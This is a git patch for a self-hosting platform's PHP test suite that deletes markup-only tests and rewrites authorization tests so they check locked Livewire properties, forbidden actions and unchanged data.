From a70e8568829f7975e6022fe67bec143b0462d5b3 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 9 Nov 2026 08:47:56 +0100 Subject: [PATCH] test: remove tests that do not test behavior and strengthen weak ones - Remove tests that only check markup, CSS, static text, wire:key strings, framework behavior, copied app logic, or expect(true) - Replace source-grep and Reflection checks of security fixes with tests that run the real code (shell quoting, locked properties, 403 checks, webhook fork trust, log redaction, Sentinel token cleanup) - Assert response bodies and unchanged data on API error paths - Run the Traefik version job through handle() instead of private methods - Update stale tests for scheduled task props, the default Postgres image, and the disabled transfer link of unvalidated servers Co-Authored-By: Claude Opus 5.5 --- .../ApiTokenLivewireAuthorizationTest.php | 30 +- tests/Feature/AppIconsTest.php | 19 - .../Application/GithubSourceChangeTest.php | 17 - tests/Feature/ApplicationDomainsTest.php | 15 - ...pplicationGeneralBuildpackSelectorTest.php | 48 --- .../ApplicationHeadingActiveTabTest.php | 17 - tests/Feature/AuditEventsTest.php | 27 -- .../ApplicationConfigAuthorizationTest.php | 15 - .../NavbarDeleteTeamAuthorizationTest.php | 13 - .../NotificationAuthorizationTest.php | 115 ------ .../ScheduledTaskSyncAuthorizationTest.php | 72 +--- .../SecurityPageAuthorizationTest.php | 10 - .../Authorization/ServerAuthorizationTest.php | 50 --- tests/Feature/BackupSearchTest.php | 125 ------- tests/Feature/BoardingActionsLayoutTest.php | 84 ----- .../CheckTraefikVersionForServerJobTest.php | 175 +++++++++ tests/Feature/CheckpointItemContrastTest.php | 10 - tests/Feature/ComposeExternalVolumeTest.php | 4 +- tests/Feature/ComposeParentBindPathTest.php | 4 +- tests/Feature/CopyButtonComponentTest.php | 23 -- tests/Feature/DashboardViewModeTest.php | 6 - .../DatabaseBackupShellQuotingTest.php | 190 ++++++++++ .../DatabaseEnvironmentVariableApiTest.php | 102 +++++- .../DatabaseImportCommandInjectionTest.php | 111 +++--- .../DatabaseImportFormAuthorizationTest.php | 20 -- .../DatabasePersistentStorageLayoutTest.php | 65 +++- ...baseStartActionResolvedCredentialsTest.php | 117 ++++++ .../DeleteEnvironmentTeamScopingTest.php | 12 +- .../Feature/DeploymentLogHtmlEscapingTest.php | 71 ++++ tests/Feature/DnsProviderManagementTest.php | 20 +- tests/Feature/EnvVarInputDesignTest.php | 15 - .../EnvironmentVariableMassAssignmentTest.php | 153 -------- ...ronmentVariableMultilineToggleViewTest.php | 17 - tests/Feature/FileDownloadStorageTest.php | 4 +- tests/Feature/GetLogsCommandInjectionTest.php | 41 +-- tests/Feature/GiteaSourceCreateModalTest.php | 7 - tests/Feature/GithubPrivateRepositoryTest.php | 45 +-- tests/Feature/GitlabSourceCreateModalTest.php | 8 - tests/Feature/HostingerServerCreationTest.php | 13 - tests/Feature/ImageScan/ScanSettingsTest.php | 9 - .../ImageScan/VulnerabilitiesPageTest.php | 29 +- tests/Feature/InvitationLinkHandlingTest.php | 14 - .../Jobs/CheckTraefikVersionJobTest.php | 209 ----------- tests/Feature/Jobs/DatabaseBackupJobTest.php | 8 - .../LayoutPopupsBladeDirectiveTest.php | 24 +- .../Livewire/Fleet/MetricsDataTest.php | 10 - .../Livewire/SentinelRestoreDefaultsTest.php | 6 - .../Feature/Livewire/ServerTransferUiTest.php | 15 +- .../LocalFileVolumePermissionCommandTest.php | 72 ++++ tests/Feature/LogChannelRedactionTest.php | 53 +++ .../Feature/MassAssignmentProtectionTest.php | 108 ------ ...bleLivewireComponentsAuthorizationTest.php | 336 +++++++++--------- .../NewApplicationBuildpackDefaultsTest.php | 14 - .../PersistentStorageVolumesLayoutTest.php | 32 -- ...rojectAndEnvironmentSettingsButtonTest.php | 27 -- tests/Feature/ProxyAcmeCertificateUiTest.php | 26 -- tests/Feature/PullChangelogTest.php | 15 - ...RedisFamilyPasswordComposeEscapingTest.php | 7 - tests/Feature/ResourcePageTitleTest.php | 17 - .../Feature/ResourcePermissionCalloutTest.php | 12 +- .../Feature/ResponsiveCheckboxLayoutTest.php | 31 -- .../ReverbAndTerminalPackagingTest.php | 24 -- .../ScheduledTaskCrossTeamIdorTest.php | 44 +-- .../Feature/Security/CloudInitScriptsTest.php | 28 -- .../Security/CloudProviderTokenFormTest.php | 9 - .../Security/CloudProviderTokenShowTest.php | 13 - .../Security/CommandInjectionSecurityTest.php | 122 +++++-- .../Security/IntegrationTokenFormTest.php | 35 -- .../IntegrationTokenSecretProvidersTest.php | 6 - .../Security/PrivateKeyDropdownTest.php | 25 -- .../Server/HetznerServerCreationTest.php | 18 - .../Server/NewServerProviderTokenUrlTest.php | 19 - .../Server/StartSentinelTokenFileTest.php | 97 +++++ tests/Feature/ServerMetadataTest.php | 41 --- .../Feature/ServerPrivateKeyDropdownTest.php | 9 - .../Feature/ServerResourcesPaginationTest.php | 7 - tests/Feature/ServerResourcesSortTest.php | 7 - .../ServiceConversionConfirmationTest.php | 57 --- .../ServiceDatabaseVerticalNavigationTest.php | 20 -- tests/Feature/ServiceDomainsTest.php | 16 - tests/Feature/ServiceEnvironmentFileTest.php | 6 - .../ServiceResourceSettingsPageTest.php | 57 --- tests/Feature/SettingsOauthTest.php | 22 -- .../Feature/StableNestedLivewireKeysTest.php | 47 --- .../SubscriptionPricingPageTest.php | 8 - .../Feature/TeamMemberTwoFactorStatusTest.php | 13 - tests/Feature/TeamScopedDestinationTest.php | 8 - tests/Feature/TerminalConsoleModeTest.php | 95 ----- tests/Feature/TerminalPageHeaderTest.php | 9 - tests/Feature/TraefikVersionStateTest.php | 39 +- .../ToggleTrafficAnalyticsTest.php | 13 - tests/Feature/VolumeBackupTest.php | 31 -- tests/Feature/VultrServerCreationTest.php | 11 - .../PreviewDeploymentForkTrustTest.php | 174 +++++++++ .../Server/ValidatePrerequisitesTest.php | 46 --- .../Api/ApplicationAutogenerateDomainTest.php | 134 ------- tests/Unit/Api/LogEndpointHelpersTest.php | 6 - .../ApplicationDeploymentErrorLoggingTest.php | 53 --- tests/Unit/ApplicationPortDetectionTest.php | 42 --- .../CheckTraefikVersionForServerJobTest.php | 141 -------- tests/Unit/CloudProviderTokenFormViewTest.php | 56 --- ...mposeContentVolumeSourceValidationTest.php | 16 +- tests/Unit/DatabaseBackupSecurityTest.php | 42 --- ...atabaseHealthcheckCommandInjectionTest.php | 129 +++++-- ...baseStartActionResolvedCredentialsTest.php | 84 ----- tests/Unit/DeployKeyDedicatedPathTest.php | 61 +++- tests/Unit/DeploymentExceptionTest.php | 26 -- ...ockerComposeInjectionCompatibilityTest.php | 8 +- tests/Unit/DockerRemoveWithTimeoutTest.php | 27 -- tests/Unit/DockerfileArgInsertionTest.php | 98 +---- .../Unit/EnvironmentVariableFillableTest.php | 72 ---- tests/Unit/FileStorageSecurityTest.php | 18 - tests/Unit/GitlabSourceCommandsTest.php | 29 +- .../GlobalSearchNewImageQuickActionTest.php | 12 - .../Unit/HealthCheckCommandInjectionTest.php | 26 -- tests/Unit/HostingerIconTest.php | 10 - tests/Unit/LivewireInternalRedirectTest.php | 36 -- tests/Unit/LogDrainCommandInjectionTest.php | 108 ------ tests/Unit/LogTimestampDisplayTest.php | 9 - tests/Unit/LogViewerXssSecurityTest.php | 12 - .../NotifyOutdatedTraefikServersJobTest.php | 48 --- tests/Unit/Policies/EnvironmentPolicyTest.php | 24 -- .../Unit/Policies/NotificationPolicyTest.php | 34 -- tests/Unit/Policies/ServicePolicyTest.php | 23 -- tests/Unit/PreviewDeploymentPortTest.php | 261 -------------- .../PreviewDeploymentRepositoryTrustTest.php | 22 -- tests/Unit/ProductionImageWorkflowTest.php | 13 - .../PushServerUpdateJobReturnTypesTest.php | 9 - tests/Unit/RedactSensitiveDataLoggingTest.php | 11 - .../S3StorageEndpointNormalizationTest.php | 6 - tests/Unit/SafeWebhookUrlTest.php | 4 +- tests/Unit/ScheduledJobManagerLockTest.php | 17 - .../ServiceApplicationPrerequisitesTest.php | 45 +-- tests/Unit/ServiceRequiredPortTest.php | 52 --- tests/Unit/StartKeydbConfigPermissionTest.php | 52 --- tests/Unit/StartRedisConfigPermissionTest.php | 53 --- .../StartSentinelEndpointFallbackTest.php | 50 --- tests/Unit/StopDatabaseTypesTest.php | 12 - tests/Unit/UpgradePostgresScriptTest.php | 12 - tests/Unit/WindowsPathVolumeTest.php | 15 +- .../Browser/ApplicationConfigurationTest.php | 72 ---- tests/v4/Browser/AuthorizationTest.php | 9 - .../v4/Browser/DatabaseConfigurationTest.php | 33 -- tests/v4/Browser/ProjectAndServerTest.php | 14 - tests/v4/Browser/RegistrationTest.php | 24 -- tests/v4/Browser/ServiceConfigurationTest.php | 52 --- 146 files changed, 1727 insertions(+), 4635 deletions(-) delete mode 100644 tests/Feature/BoardingActionsLayoutTest.php create mode 100644 tests/Feature/CheckTraefikVersionForServerJobTest.php delete mode 100644 tests/Feature/CheckpointItemContrastTest.php delete mode 100644 tests/Feature/CopyButtonComponentTest.php create mode 100644 tests/Feature/DatabaseBackupShellQuotingTest.php delete mode 100644 tests/Feature/DatabaseImportFormAuthorizationTest.php create mode 100644 tests/Feature/DatabaseStartActionResolvedCredentialsTest.php create mode 100644 tests/Feature/DeploymentLogHtmlEscapingTest.php delete mode 100644 tests/Feature/EnvVarInputDesignTest.php delete mode 100644 tests/Feature/EnvironmentVariableMultilineToggleViewTest.php create mode 100644 tests/Feature/LocalFileVolumePermissionCommandTest.php create mode 100644 tests/Feature/LogChannelRedactionTest.php delete mode 100644 tests/Feature/ProxyAcmeCertificateUiTest.php create mode 100644 tests/Feature/Server/StartSentinelTokenFileTest.php delete mode 100644 tests/Feature/Service/ServiceConversionConfirmationTest.php delete mode 100644 tests/Feature/ServiceDatabaseVerticalNavigationTest.php delete mode 100644 tests/Feature/StableNestedLivewireKeysTest.php delete mode 100644 tests/Feature/TerminalPageHeaderTest.php create mode 100644 tests/Feature/Webhook/PreviewDeploymentForkTrustTest.php delete mode 100644 tests/Unit/Actions/Server/ValidatePrerequisitesTest.php delete mode 100644 tests/Unit/Api/ApplicationAutogenerateDomainTest.php delete mode 100644 tests/Unit/CheckTraefikVersionForServerJobTest.php delete mode 100644 tests/Unit/CloudProviderTokenFormViewTest.php delete mode 100644 tests/Unit/DatabaseStartActionResolvedCredentialsTest.php delete mode 100644 tests/Unit/EnvironmentVariableFillableTest.php delete mode 100644 tests/Unit/GlobalSearchNewImageQuickActionTest.php delete mode 100644 tests/Unit/HostingerIconTest.php delete mode 100644 tests/Unit/LivewireInternalRedirectTest.php delete mode 100644 tests/Unit/LogDrainCommandInjectionTest.php delete mode 100644 tests/Unit/LogTimestampDisplayTest.php delete mode 100644 tests/Unit/NotifyOutdatedTraefikServersJobTest.php delete mode 100644 tests/Unit/PreviewDeploymentPortTest.php delete mode 100644 tests/Unit/PushServerUpdateJobReturnTypesTest.php delete mode 100644 tests/Unit/StartKeydbConfigPermissionTest.php delete mode 100644 tests/Unit/StartRedisConfigPermissionTest.php delete mode 100644 tests/Unit/StartSentinelEndpointFallbackTest.php delete mode 100644 tests/Unit/StopDatabaseTypesTest.php diff --git a/tests/Feature/ApiTokenLivewireAuthorizationTest.php b/tests/Feature/ApiTokenLivewireAuthorizationTest.php index ca1540f6f9..30458f0aff 100644 --- a/tests/Feature/ApiTokenLivewireAuthorizationTest.php +++ b/tests/Feature/ApiTokenLivewireAuthorizationTest.php @@ -5,7 +5,6 @@ use App\Models\InstanceSettings; use App\Models\Team; use App\Models\User; use Illuminate\Foundation\Testing\RefreshDatabase; -use Livewire\Attributes\Locked; use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException; use Livewire\Livewire; @@ -20,14 +19,18 @@ beforeEach(function () { $this->team = Team::factory()->create(); }); -test('api token permission flags are locked', function (string $property) { - $property = new ReflectionProperty(ApiTokens::class, $property); +test('api token permission flags are locked', function (string $property, mixed $value) { + $member = User::factory()->create(); + $this->team->members()->attach($member->id, ['role' => 'member']); - expect($property->getAttributes(Locked::class))->not->toBeEmpty(); -})->with([ - 'root permission flag' => 'canUseRootPermissions', - 'write permission flag' => 'canUseWritePermissions', - 'token search index' => 'tokenSearchIndex', + $this->actingAs($member); + session(['currentTeam' => $this->team]); + + Livewire::test(ApiTokens::class)->set($property, $value); +})->throws(CannotUpdateLockedPropertyException::class)->with([ + 'root permission flag' => ['canUseRootPermissions', true], + 'write permission flag' => ['canUseWritePermissions', true], + 'token search index' => ['tokenSearchIndex', []], ]); test('token search index follows created and revoked tokens', function () { @@ -53,17 +56,6 @@ test('token search index follows created and revoked tokens', function () { expect($component->get('tokenSearchIndex'))->toBe([]); }); -test('member cannot tamper with root permission flag', function () { - $member = User::factory()->create(); - $this->team->members()->attach($member->id, ['role' => 'member']); - - $this->actingAs($member); - session(['currentTeam' => $this->team]); - - Livewire::test(ApiTokens::class) - ->set('canUseRootPermissions', true); -})->throws(CannotUpdateLockedPropertyException::class); - test('member cannot create root token through tampered permissions payload', function () { $member = User::factory()->create(); $this->team->members()->attach($member->id, ['role' => 'member']); diff --git a/tests/Feature/AppIconsTest.php b/tests/Feature/AppIconsTest.php index 82af3f915c..2ec0deaac0 100644 --- a/tests/Feature/AppIconsTest.php +++ b/tests/Feature/AppIconsTest.php @@ -1,24 +1,5 @@ forceCreate(['id' => 0]); - Once::flush(); - User::factory()->create(); - - $this->get('/login') - ->assertSuccessful() - ->assertSee('', false) - ->assertSee('', false) - ->assertSee('', false); -}); - test('icon files are opaque pngs with the required sizes', function (string $file, int $size) { $image = getimagesize(public_path($file)); diff --git a/tests/Feature/Application/GithubSourceChangeTest.php b/tests/Feature/Application/GithubSourceChangeTest.php index c7776bd85e..63d2b0c903 100644 --- a/tests/Feature/Application/GithubSourceChangeTest.php +++ b/tests/Feature/Application/GithubSourceChangeTest.php @@ -45,23 +45,6 @@ function validPrivateKey(): string } describe('GitHub Source Change Component', function () { - test('all github app form controls declare explicit authorization', function () { - $view = file_get_contents(resource_path('views/livewire/source/github/change.blade.php')); - - preg_match_all( - '/]*\bcanGate=)[^>]*>/s', - $view, - $matches, - PREG_OFFSET_CAPTURE - ); - - $missingAuthorization = collect($matches[0]) - ->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0]))) - ->all(); - - expect($missingAuthorization)->toBeEmpty(); - }); - test('deletes an incomplete github app and redirects without a render error', function () { $githubApp = GithubApp::create([ 'name' => 'Incomplete GitHub App', diff --git a/tests/Feature/ApplicationDomainsTest.php b/tests/Feature/ApplicationDomainsTest.php index 672f79c3a0..95acbe995d 100644 --- a/tests/Feature/ApplicationDomainsTest.php +++ b/tests/Feature/ApplicationDomainsTest.php @@ -725,13 +725,6 @@ it('shows the compose service redirect control in domain settings', function () ->and(substr_count($html, 'application-domain-direction-'))->toBeGreaterThan(0); }); -it('shows dns entries control next to Add', function () { - Livewire::test(Domains::class, ['application' => $this->application->fresh()]) - ->assertSuccessful() - ->assertSee('DNS checks and records for this server') - ->assertSee('Manual records'); -}); - it('shows dns entries when domains are managed through labels', function () { $this->application->settings->update([ 'is_container_label_readonly_enabled' => false, @@ -2276,14 +2269,6 @@ it('groups compose domains by service and hides empty services', function () { ->assertDontSee('No domains for this service'); }); -it('keys compose domain groups by a stable service identity', function () { - $view = file_get_contents(resource_path('views/livewire/project/application/domains.blade.php')); - - expect($view) - ->toContain('application-compose-domain-group-{{ $redirectWireKey }}') - ->toContain('wire:key="application-compose-domain-rows-{{ $redirectWireKey }}"'); -}); - it('uses the dns badge as progress for single and all application checks', function (string $action, array $parameters) { Queue::fake(); $this->application->update(['fqdn' => 'https://badge.example.com']); diff --git a/tests/Feature/ApplicationGeneralBuildpackSelectorTest.php b/tests/Feature/ApplicationGeneralBuildpackSelectorTest.php index 038ee22c0d..f2b92cc80a 100644 --- a/tests/Feature/ApplicationGeneralBuildpackSelectorTest.php +++ b/tests/Feature/ApplicationGeneralBuildpackSelectorTest.php @@ -60,25 +60,6 @@ uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== ?? StandaloneDocker::factory()->create(['server_id' => $this->server->id, 'network' => 'coolify-test']); }); -test('existing application shows railpack without beta label in build pack selector', function () { - $application = Application::factory()->create([ - 'environment_id' => $this->environment->id, - 'destination_id' => $this->destination->id, - 'destination_type' => StandaloneDocker::class, - 'build_pack' => 'railpack', - 'static_image' => 'nginx:alpine', - 'base_directory' => '/', - 'is_http_basic_auth_enabled' => false, - 'redirect' => 'no', - ]); - - Livewire::test(General::class, ['application' => $application]) - ->assertSuccessful() - ->assertSee('Railpack') - ->assertDontSee('Railpack (Beta)') - ->assertDontSee('Railpack (beta)'); -}); - test('switching from railpack to compose preserves the existing application domains', function () { $application = Application::factory()->create([ 'environment_id' => $this->environment->id, @@ -120,32 +101,3 @@ test('Dockerfile location defaults to the Dockerfile only for the Dockerfile bui 'Dockerfile' => ['dockerfile', '/Dockerfile'], 'Nixpacks' => ['nixpacks', null], ]); - -test('networking section hints that internal ports can be set per domain', function () { - $application = Application::factory()->create([ - 'environment_id' => $this->environment->id, - 'destination_id' => $this->destination->id, - 'destination_type' => StandaloneDocker::class, - 'build_pack' => 'nixpacks', - 'static_image' => 'nginx:alpine', - 'base_directory' => '/', - 'ports_exposes' => '3000,3001', - 'is_http_basic_auth_enabled' => false, - 'redirect' => 'no', - ]); - - $domainsUrl = route('project.application.domains', [ - 'project_uuid' => $application->environment->project->uuid, - 'environment_uuid' => $application->environment->uuid, - 'application_uuid' => $application->uuid, - ]); - - Livewire::test(General::class, ['application' => $application]) - ->assertSuccessful() - ->assertSeeInOrder([ - 'Ports exposes', - 'You can also set an internal port per domain on', - 'Port mappings', - ]) - ->assertSee($domainsUrl, false); -}); diff --git a/tests/Feature/ApplicationHeadingActiveTabTest.php b/tests/Feature/ApplicationHeadingActiveTabTest.php index 4117749b13..eba38ca5e6 100644 --- a/tests/Feature/ApplicationHeadingActiveTabTest.php +++ b/tests/Feature/ApplicationHeadingActiveTabTest.php @@ -98,20 +98,3 @@ it('refreshes the breadcrumb application status after it changes', function () { expect($component->instance()->getListeners()) ->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked", 'refreshStatus'); }); - -it('links the application healthcheck status to the healthcheck page', function () { - $this->actingAs($this->admin); - session(['currentTeam' => $this->team]); - - $healthcheckUrl = route('project.application.healthcheck', [ - 'project_uuid' => $this->project->uuid, - 'environment_uuid' => $this->environment->uuid, - 'application_uuid' => $this->application->uuid, - ]); - - Livewire::test(ApplicationStatus::class, ['application' => $this->application]) - ->assertSeeHtml('href="'.$healthcheckUrl.'"'); - - Livewire::test(ApplicationHeading::class, ['application' => $this->application]) - ->assertSeeHtml('href="'.$healthcheckUrl.'"'); -}); diff --git a/tests/Feature/AuditEventsTest.php b/tests/Feature/AuditEventsTest.php index 879fe07fc6..6c020aad78 100644 --- a/tests/Feature/AuditEventsTest.php +++ b/tests/Feature/AuditEventsTest.php @@ -1146,16 +1146,6 @@ test('audit events api accepts valid pagination and filter values', function () ->assertJsonPath('per_page', 1); }); -test('audit source filter omits the unused system source', function () { - Livewire::test(AuditLog::class) - ->assertSee('All sources') - ->assertSee('Web UI') - ->assertSee('API') - ->assertSee('MCP') - ->assertSee('Webhook') - ->assertDontSee('System'); -}); - test('audit action filter includes actions recorded for the current team', function () { AuditEvent::factory()->create([ 'team_id' => $this->team->id, @@ -1220,23 +1210,6 @@ test('critical operational events persist with their source action and actor', f 'api.database.import_started', ]); -test('audit log uses the standard horizontally scrollable table layout on mobile', function () { - AuditEvent::factory()->create([ - 'team_id' => $this->team->id, - 'actor_name' => 'Visible Actor', - 'actor_token_name' => 'visible-audit-token', - ]); - - Livewire::test(AuditLog::class) - ->assertSeeHtml('class="overflow-x-auto"') - ->assertSeeHtml('class="data-table transition-opacity"') - ->assertSeeHtml('class="grid min-w-[760px] grid-cols-[14rem_minmax(0,1fr)_12rem_9rem]') - ->assertSeeHtml('class="self-center text-right text-[11px]') - ->assertSeeHtml('title="Token: visible-audit-token"') - ->assertSee('Actor') - ->assertSee('Visible Actor'); -}); - test('audit log displays source abbreviations in uppercase', function () { AuditEvent::factory()->create([ 'team_id' => $this->team->id, diff --git a/tests/Feature/Authorization/ApplicationConfigAuthorizationTest.php b/tests/Feature/Authorization/ApplicationConfigAuthorizationTest.php index a937935d5d..a403a74873 100644 --- a/tests/Feature/Authorization/ApplicationConfigAuthorizationTest.php +++ b/tests/Feature/Authorization/ApplicationConfigAuthorizationTest.php @@ -276,21 +276,6 @@ test('member cannot save the application container name prefix', function () { expect($this->application->settings->fresh()->custom_container_name_prefix)->toBeNull(); }); -test('the private application advanced syncData helper is not remotely callable', function () { - $this->actingAs($this->member); - session(['currentTeam' => $this->team]); - - $original = (bool) $this->application->settings->is_force_https_enabled; - - $component = Livewire::test(ApplicationAdvanced::class, ['application' => $this->application]) - ->set('isForceHttpsEnabled', ! $original); - - expect(fn () => $component->call('syncData', true)) - ->toThrow(MethodNotFoundException::class); - - expect((bool) $this->application->settings->fresh()->is_force_https_enabled)->toBe($original); -}); - // --- Application Rollback Livewire actions --- test('member cannot save rollback settings', function () { diff --git a/tests/Feature/Authorization/NavbarDeleteTeamAuthorizationTest.php b/tests/Feature/Authorization/NavbarDeleteTeamAuthorizationTest.php index f8accebe87..60ca064e72 100644 --- a/tests/Feature/Authorization/NavbarDeleteTeamAuthorizationTest.php +++ b/tests/Feature/Authorization/NavbarDeleteTeamAuthorizationTest.php @@ -44,16 +44,3 @@ test('member cannot delete team via navbar', function () { expect(Team::find($this->teamToDelete->id))->not->toBeNull(); }); - -test('navbar delete team trigger matches sidebar menu item layout', function () { - $this->actingAs($this->owner); - session(['currentTeam' => $this->teamToDelete]); - - Livewire::test(NavbarDeleteTeam::class) - ->assertSuccessful() - ->assertSee('title="Delete Team"', false) - ->assertSee('menu-item justify-start text-left', false) - ->assertSee('sidebar-collapsed-label', false) - ->assertSee('menu-item-icon', false) - ->assertDontSeeHtml('buttonTitle="Delete Team"'); -}); diff --git a/tests/Feature/Authorization/NotificationAuthorizationTest.php b/tests/Feature/Authorization/NotificationAuthorizationTest.php index bb13871a45..2c16d25e7e 100644 --- a/tests/Feature/Authorization/NotificationAuthorizationTest.php +++ b/tests/Feature/Authorization/NotificationAuthorizationTest.php @@ -10,7 +10,6 @@ use App\Models\InstanceSettings; use App\Models\Team; use App\Models\User; use Illuminate\Foundation\Testing\RefreshDatabase; -use Livewire\Exceptions\MethodNotFoundException; use Livewire\Livewire; uses(RefreshDatabase::class); @@ -44,25 +43,6 @@ test('member cannot send test notification on discord', function () { ->assertDispatched('error'); }); -test('the private discord syncData helper is not remotely callable', function () { - $this->actingAs($this->member); - session(['currentTeam' => $this->team]); - - $component = Livewire::test(DiscordNotification::class); - - expect(fn () => $component->call('syncData', true)) - ->toThrow(MethodNotFoundException::class); -}); - -test('admin can update discord notification settings', function () { - $this->actingAs($this->admin); - session(['currentTeam' => $this->team]); - - $settings = $this->team->discordNotificationSettings; - - expect($this->admin->can('update', $settings))->toBeTrue(); -}); - // --- Slack --- test('member cannot send test notification on slack', function () { @@ -80,25 +60,6 @@ test('member cannot send test notification on slack', function () { ->assertDispatched('error'); }); -test('the private slack syncData helper is not remotely callable', function () { - $this->actingAs($this->member); - session(['currentTeam' => $this->team]); - - $component = Livewire::test(SlackNotification::class); - - expect(fn () => $component->call('syncData', true)) - ->toThrow(MethodNotFoundException::class); -}); - -test('admin can update slack notification settings', function () { - $this->actingAs($this->admin); - session(['currentTeam' => $this->team]); - - $settings = $this->team->slackNotificationSettings; - - expect($this->admin->can('update', $settings))->toBeTrue(); -}); - // --- Telegram --- test('member cannot send test notification on telegram', function () { @@ -117,25 +78,6 @@ test('member cannot send test notification on telegram', function () { ->assertDispatched('error'); }); -test('the private telegram syncData helper is not remotely callable', function () { - $this->actingAs($this->member); - session(['currentTeam' => $this->team]); - - $component = Livewire::test(TelegramNotification::class); - - expect(fn () => $component->call('syncData', true)) - ->toThrow(MethodNotFoundException::class); -}); - -test('admin can update telegram notification settings', function () { - $this->actingAs($this->admin); - session(['currentTeam' => $this->team]); - - $settings = $this->team->telegramNotificationSettings; - - expect($this->admin->can('update', $settings))->toBeTrue(); -}); - test('telegram restart limit thread id accepts 255 characters', function () { $this->actingAs($this->admin); session(['currentTeam' => $this->team]); @@ -233,16 +175,6 @@ test('member cannot send test email notification', function () { ->assertDispatched('error'); }); -test('the private email syncData helper is not remotely callable', function () { - $this->actingAs($this->member); - session(['currentTeam' => $this->team]); - - $component = Livewire::test(EmailNotification::class); - - expect(fn () => $component->call('syncData', true)) - ->toThrow(MethodNotFoundException::class); -}); - test('member cannot update smtp email transport directly', function () { $this->actingAs($this->member); session(['currentTeam' => $this->team]); @@ -270,15 +202,6 @@ test('member cannot update resend email transport directly', function () { ->assertForbidden(); }); -test('admin can update email notification settings', function () { - $this->actingAs($this->admin); - session(['currentTeam' => $this->team]); - - $settings = $this->team->emailNotificationSettings; - - expect($this->admin->can('update', $settings))->toBeTrue(); -}); - test('admin can disable restart limit email notifications', function () { $this->actingAs($this->admin); session(['currentTeam' => $this->team]); @@ -338,25 +261,6 @@ test('member cannot send test notification on pushover', function () { ->assertDispatched('error'); }); -test('the private pushover syncData helper is not remotely callable', function () { - $this->actingAs($this->member); - session(['currentTeam' => $this->team]); - - $component = Livewire::test(PushoverNotification::class); - - expect(fn () => $component->call('syncData', true)) - ->toThrow(MethodNotFoundException::class); -}); - -test('admin can update pushover notification settings', function () { - $this->actingAs($this->admin); - session(['currentTeam' => $this->team]); - - $settings = $this->team->pushoverNotificationSettings; - - expect($this->admin->can('update', $settings))->toBeTrue(); -}); - // --- Webhook --- test('member cannot send test notification on webhook', function () { @@ -374,25 +278,6 @@ test('member cannot send test notification on webhook', function () { ->assertDispatched('error'); }); -test('the private webhook syncData helper is not remotely callable', function () { - $this->actingAs($this->member); - session(['currentTeam' => $this->team]); - - $component = Livewire::test(WebhookNotification::class); - - expect(fn () => $component->call('syncData', true)) - ->toThrow(MethodNotFoundException::class); -}); - -test('admin can update webhook notification settings', function () { - $this->actingAs($this->admin); - session(['currentTeam' => $this->team]); - - $settings = $this->team->webhookNotificationSettings; - - expect($this->admin->can('update', $settings))->toBeTrue(); -}); - // --- Send test policy checks --- test('admin can send test on all notification channels', function () { diff --git a/tests/Feature/Authorization/ScheduledTaskSyncAuthorizationTest.php b/tests/Feature/Authorization/ScheduledTaskSyncAuthorizationTest.php index f84e50b732..df9e4b75fa 100644 --- a/tests/Feature/Authorization/ScheduledTaskSyncAuthorizationTest.php +++ b/tests/Feature/Authorization/ScheduledTaskSyncAuthorizationTest.php @@ -11,9 +11,7 @@ use App\Models\StandaloneDocker; use App\Models\Team; use App\Models\User; use Illuminate\Foundation\Testing\RefreshDatabase; -use Illuminate\Routing\Events\RouteMatched; -use Illuminate\Support\Facades\Event; -use Livewire\Exceptions\MethodNotFoundException; +use Livewire\Features\SupportTesting\Testable; use Livewire\Livewire; uses(RefreshDatabase::class); @@ -51,20 +49,13 @@ beforeEach(function () { ]); }); -afterEach(function () { - Event::forget(RouteMatched::class); -}); - -function bindApplicationScheduledTaskRoute(Application $application, ScheduledTask $task): void +/** + * Mount the task modal the way the scheduled-task list page does: the parent + * `All` component passes the resource and the selected task as props. + */ +function mountScheduledTaskShow(Application $application, ScheduledTask $task): Testable { - $application->loadMissing('environment.project'); - - Event::listen(RouteMatched::class, function (RouteMatched $event) use ($application, $task): void { - $event->route->setParameter('task_uuid', $task->uuid); - $event->route->setParameter('project_uuid', $application->environment->project->uuid); - $event->route->setParameter('environment_uuid', $application->environment->uuid); - $event->route->setParameter('application_uuid', $application->uuid); - }); + return Livewire::test(Show::class, ['resource' => $application, 'task' => $task]); } function originalScheduledTaskState(ScheduledTask $task): array @@ -75,43 +66,21 @@ function originalScheduledTaskState(ScheduledTask $task): array test('read-only member can view an existing scheduled task', function () { $this->actingAs($this->member); session(['currentTeam' => $this->team]); - bindApplicationScheduledTaskRoute($this->application, $this->task); - Livewire::test(Show::class) + mountScheduledTaskShow($this->application, $this->task) ->assertSuccessful() ->assertSet('name', 'validate-benign') ->assertSet('command', 'Hidden (only admins can view)') ->assertSet('frequency', '0 0 * * *'); }); -test('the private syncData helper is not remotely callable through Livewire', function () { - $this->actingAs($this->member); - session(['currentTeam' => $this->team]); - bindApplicationScheduledTaskRoute($this->application, $this->task); - - $original = originalScheduledTaskState($this->task); - - $component = Livewire::test(Show::class) - ->set('name', 'member-edited') - ->set('command', 'echo member-edited') - ->set('frequency', '* * * * *') - ->set('timeout', 120) - ->set('isEnabled', true); - - expect(fn () => $component->call('syncData', true)) - ->toThrow(MethodNotFoundException::class); - - expect(originalScheduledTaskState($this->task->fresh()))->toBe($original); -}); - test('read-only member cannot persist scheduled task changes through submit', function () { $this->actingAs($this->member); session(['currentTeam' => $this->team]); - bindApplicationScheduledTaskRoute($this->application, $this->task); $original = originalScheduledTaskState($this->task); - Livewire::test(Show::class) + mountScheduledTaskShow($this->application, $this->task) ->set('name', 'member-edited') ->set('command', 'echo member-edited') ->set('frequency', '* * * * *') @@ -120,26 +89,6 @@ test('read-only member cannot persist scheduled task changes through submit', fu expect(originalScheduledTaskState($this->task->fresh()))->toBe($original); }); -test('the private saveScheduledTask helper is not remotely callable through Livewire', function () { - $this->actingAs($this->member); - session(['currentTeam' => $this->team]); - - $component = Livewire::test(Add::class, [ - 'id' => (string) $this->application->id, - 'type' => 'application', - 'containerNames' => collect(), - ]) - ->set('name', 'member-created') - ->set('command', 'id') - ->set('frequency', '* * * * *') - ->set('timeout', 300); - - expect(fn () => $component->call('saveScheduledTask')) - ->toThrow(MethodNotFoundException::class); - - 